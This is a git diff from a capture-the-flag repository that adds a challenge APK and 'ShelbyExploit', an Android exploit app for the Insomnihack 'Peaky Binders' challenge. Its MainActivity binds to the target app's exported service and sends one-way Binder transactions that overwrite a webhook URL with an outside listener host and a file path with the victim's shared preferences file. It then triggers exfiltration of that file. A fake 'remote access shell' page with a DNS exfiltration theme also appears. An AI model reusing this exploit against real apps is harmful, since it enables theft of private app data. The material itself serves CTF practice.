diff --git a/2026/insomnihack/mobile/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk b/2026/insomnihack/mobile/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk new file mode 100644 index 0000000..8fb98a2 Binary files /dev/null and b/2026/insomnihack/mobile/PeakyBinders-df87519a5cdcf8f1d106cebb41b8ca8879274b7cf2a2237156a517d3e143a969.apk differ diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/.gitignore b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/.gitignore new file mode 100644 index 0000000..e5cbb64 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/.gitignore @@ -0,0 +1,34 @@ +# Gradle files +.gradle/ +build/ + +# Local configuration file (sdk path, etc) +local.properties + +# Log/OS Files +*.log + +# Android Studio generated files and folders +captures/ +.externalNativeBuild/ +.cxx/ +*.aab +*.apk +output-metadata.json + +# IntelliJ +*.iml +.idea/ +misc.xml +deploymentTargetDropDown.xml +render.experimental.xml + +# Keystore files +*.jks +*.keystore + +# Google Services (e.g. APIs or Firebase) +google-services.json + +# Android Profiling +*.hprof diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/.gitignore b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/.gitignore similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/.gitignore rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/.gitignore diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/build.gradle.kts b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/build.gradle.kts new file mode 100644 index 0000000..1fbe744 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/build.gradle.kts @@ -0,0 +1,46 @@ +plugins { + alias(libs.plugins.android.application) +} + +android { + namespace = "com.hacker.exploit" + compileSdk { + version = release(36) { + minorApiLevel = 1 + } + } + + defaultConfig { + applicationId = "com.hacker.exploit" + minSdk = 26 + targetSdk = 36 + versionCode = 1 + versionName = "1.0" + + testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner" + } + + buildTypes { + release { + isMinifyEnabled = false + proguardFiles( + getDefaultProguardFile("proguard-android-optimize.txt"), + "proguard-rules.pro" + ) + } + } + compileOptions { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + } +} + +dependencies { + implementation(libs.appcompat) + implementation(libs.material) + implementation(libs.activity) + implementation(libs.constraintlayout) + testImplementation(libs.junit) + androidTestImplementation(libs.ext.junit) + androidTestImplementation(libs.espresso.core) +} \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/proguard-rules.pro b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/proguard-rules.pro similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/proguard-rules.pro rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/proguard-rules.pro diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/androidTest/java/com/hacker/exploit/ExampleInstrumentedTest.java b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/androidTest/java/com/hacker/exploit/ExampleInstrumentedTest.java new file mode 100644 index 0000000..0f27d67 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/androidTest/java/com/hacker/exploit/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package com.hacker.exploit; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("com.hacker.exploit", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/AndroidManifest.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/AndroidManifest.xml similarity index 80% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/AndroidManifest.xml rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/AndroidManifest.xml index b894a66..8517978 100644 --- a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/AndroidManifest.xml +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/AndroidManifest.xml @@ -2,6 +2,10 @@ + + + + + android:theme="@style/Theme.ShelbyExploit" + tools:targetApi="31"> + android:exported="true"> - diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/java/com/hacker/exploit/MainActivity.java b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/java/com/hacker/exploit/MainActivity.java new file mode 100644 index 0000000..08856b2 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/java/com/hacker/exploit/MainActivity.java @@ -0,0 +1,94 @@ +package com.hacker.exploit; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.ServiceConnection; +import android.os.Bundle; +import android.os.IBinder; +import android.os.Parcel; +import android.os.RemoteException; +import android.util.Log; + +public class MainActivity extends Activity { + private static final String TAG = "Exploit"; + private IBinder peakyBinder; + private static final String WEBHOOK_URL = "http://listener.cato447.de"; + private static final String TARGET_FILE = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml"; + + private ServiceConnection connection = new ServiceConnection() { + @Override + public void onServiceConnected(ComponentName name, IBinder service) { + Log.d(TAG, "Connected to PeakyService!"); + peakyBinder = service; + + // Run exploit in a background thread so we don't freeze the UI + new Thread(() -> runExploit()).start(); + } + + @Override + public void onServiceDisconnected(ComponentName name) { + Log.d(TAG, "Disconnected!"); + } + }; + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + Log.d(TAG, "Starting exploit app..."); + Intent intent = new Intent(); + intent.setClassName("com.peaky.binders", "com.peaky.binders.PeakyService"); + bindService(intent, connection, Context.BIND_AUTO_CREATE); + } + + private void runExploit() { + try { + Log.d(TAG, "Overwriting Webhook URL..."); + // 1. Overwrite Webhook URL + String WEBHOOK = "http://listener.cato447.de"; + for (int i = 0; i < WEBHOOK.length(); i++) { + sendOnewayTransaction(("PARTIAL:" + (-(1 + i)) + ":" + WEBHOOK.charAt(i)).getBytes()); + Thread.sleep(50); + } + // THE FIX: Leave it blank after the colon! v23 defaults to 0x00 + sendOnewayTransaction(("PARTIAL:" + (-(1 + WEBHOOK.length())) + ":").getBytes()); + + + // 2. Overwrite File Path + String TARGET = "/data/data/com.peaky.binders/shared_prefs/PeakyPrefs.xml"; + for (int i = 0; i < TARGET.length(); i++) { + sendOnewayTransaction(("PARTIAL:" + (-(65 + i)) + ":" + TARGET.charAt(i)).getBytes()); + Thread.sleep(50); + } + // THE FIX: Leave it blank after the colon! v23 defaults to 0x00 + sendOnewayTransaction(("PARTIAL:" + (-(65 + TARGET.length())) + ":").getBytes()); + + // 3. Trigger Exfiltration + sendOnewayTransaction("FULL:0:X".getBytes()); + // explicitly send a null byte + String fileNullPayload = "PARTIAL:" + -(65 + TARGET_FILE.length()) + ":\0"; + sendOnewayTransaction(fileNullPayload.getBytes()); + + Log.d(TAG, "Triggering Exfiltration..."); + // 3. Trigger the file read and HTTP POST + sendOnewayTransaction("FULL:0:X".getBytes()); + Log.d(TAG, "Exploit sent! Check your webhook."); + + } catch (Exception e) { + Log.e(TAG, "Exploit failed", e); + } + } + + private void sendOnewayTransaction(byte[] payload) throws RemoteException { + Parcel data = Parcel.obtain(); + data.writeInterfaceToken("com.peaky.binders.IPeakyService"); + data.writeByteArray(payload); + + // 1 = TRANSACTION_DebugCheckFile + // 1 = IBinder.FLAG_ONEWAY (Bypasses the PID 0 check!) + peakyBinder.transact(1, data, null, 1); + data.recycle(); + } +} \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/drawable/ic_launcher_background.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/drawable/ic_launcher_background.xml similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/drawable/ic_launcher_background.xml rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/drawable/ic_launcher_background.xml diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/drawable/ic_launcher_foreground.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/drawable/ic_launcher_foreground.xml similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/drawable/ic_launcher_foreground.xml rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/drawable/ic_launcher_foreground.xml diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/layout/activity_main.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..86a5d97 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,19 @@ + + + + + + \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-anydpi/ic_launcher.xml similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-anydpi/ic_launcher.xml diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-anydpi/ic_launcher_round.xml similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-anydpi/ic_launcher_round.xml diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-hdpi/ic_launcher.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-hdpi/ic_launcher.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-hdpi/ic_launcher.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-mdpi/ic_launcher.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-mdpi/ic_launcher.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-mdpi/ic_launcher.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-mdpi/ic_launcher.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xhdpi/ic_launcher.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xhdpi/ic_launcher.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xhdpi/ic_launcher.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xhdpi/ic_launcher.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp similarity index 100% rename from 2026/insomnihack/mobile/peaky_blinders/exploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp rename to 2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values-night/themes.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..2baa5ef --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values-night/themes.xml @@ -0,0 +1,7 @@ + + + + \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/colors.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..c8524cd --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/colors.xml @@ -0,0 +1,5 @@ + + + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/strings.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..40b55a5 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + ShelbyExploit + \ No newline at end of file diff --git a/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/themes.xml b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..edba2d3 --- /dev/null +++ b/2026/insomnihack/mobile/peaky_blinders/ShelbyExploit/app/src/main/res/values/themes.xml @@ -0,0 +1,9 @@ + + + + + + + +
+
+

╔══════════════════════════╗

+

║ REMOTE ACCESS SHELL v2.1 ║

+

╚══════════════════════════╝

+
+ [*] Connection established...
+ [*] DNS exfiltration module loaded
+ [*] Waiting for commands... +
+
+ +
+ ___ _ _ ___ +| __|| \/ ||_ _| +| _| | /\ | | | +|___||_||_||___| +
+ +
+
[root@target]# extract_hostname -format base64 -addCheckSum
+
+ + +
+
+ +
+ +
+
[root@target]# extract_flag -format base64 -addCheckSum
+
+ + +
+
+ + +
+ +
+ ONLINE +
+ + + +